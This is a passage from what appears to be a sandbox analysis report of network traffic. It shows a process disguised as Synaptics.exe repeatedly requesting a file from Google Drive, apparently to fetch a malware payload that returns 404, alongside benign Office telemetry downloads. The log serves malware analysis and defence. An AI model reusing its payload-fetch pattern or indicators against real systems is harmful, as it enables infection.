arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:20 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49820	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:20 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: bf748f03-f01e-001f-5f5f-2e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214420Z-17df447cdb59mt7dhC1DFWqpg400000001xg000000003tqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:20 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 23d3b202-401e-0083-108e-2d075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214420Z-15869dbbcc6zbpm7hC1DFW73ew00000000kg00000000ab7n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214421Z-16547b76f7fdf69shC1DFWcpd000000005gg00000000xx3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214421Z-16547b76f7f76p6chC1DFWctqw00000005wg0000000053xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214421Z-16547b76f7fj5p7mhC1DFWf8w400000005sg00000000pqa9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d33e01be-001e-0082-0958-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214421Z-15869dbbcc6tfpj2hC1DFWvt5g00000005y000000000af5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49835	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-X-Xu0pCRA3ZBOD9elibwLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49834	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-tUCI3Lw5ra6DAGdx4-pbMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49833	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:22 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zDbRjFX9kIQUCjRzsmDcsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY1J2uTywFPlxLcX4oxVsy_DZD38Nmy4TspXlE8SuhUkqbT1ywP5IonN8tR7TvdgisZjGTInUs1h3w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:22 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:22 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 34 6f 35 46 73 6d 4b 71 61 63 75 66 37 62 6b 7a 44 46 73 63 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="j4o5FsmKqacuf7bkzDFscg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:22 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:21 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 57f8276b-001e-000b-7658-2e15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-17df447cdb5vq4m4hC1DFWrbp800000001s000000000k1vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
